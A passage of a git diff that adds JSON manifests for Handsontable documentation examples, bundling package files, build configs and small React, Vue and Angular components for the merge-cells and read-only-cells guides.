\"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(50) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(500) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example2.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example2","exampleTitle":"Optimizing rendering of the wide/tall merged cells","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example3.tsx.json new file mode 100644 index 00000000..9b41860c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const [output, setOutput] = useState('');\n\n const logEvent = (message: string) => {\n setOutput((previousOutput) => `${message}\\n${previousOutput}`);\n };\n\n return (\n <>\n \n {output ||\n 'Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.'}\n \n {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n afterMergeCells={(cellRange, mergeParent) => {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n }}\n beforeUnmergeCells={(cellRange) => {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n afterUnmergeCells={(cellRange) => {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example3.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example4.tsx.json new file mode 100644 index 00000000..bfa87f6d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const mergeNoteRow = () => {\n hotRef.current?.hotInstance?.getPlugin('mergeCells').merge(5, 0, 5, 3);\n };\n\n const unmergeNoteRow = () => {\n hotRef.current?.hotInstance?.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n };\n\n return (\n <>\n
    \n
    \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example4.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example1.vue.json new file mode 100644 index 00000000..61578f79 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Merge cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example1.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example2.vue.json new file mode 100644 index 00000000..6fe8c7e1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Merge cells · Optimizing rendering of the wide/tall merged cells · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example2.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example2","exampleTitle":"Optimizing rendering of the wide/tall merged cells","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example3.vue.json new file mode 100644 index 00000000..4650c401 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example3.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example4.vue.json new file mode 100644 index 00000000..b94ad9d9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example4.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example1.ts.json new file mode 100644 index 00000000..bd8be4a2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\n@Component({\n selector: 'example1-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example1.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example2.ts.json new file mode 100644 index 00000000..ef5fd95c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings ={\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row: number, col: number, _: any) => {\n if (hot.getData()[row][col] === 'Nissan') {\n return { readOnly: true };\n }\n\n return {};\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/example2.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example3.ts.json new file mode 100644 index 00000000..6ba3ef74 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng 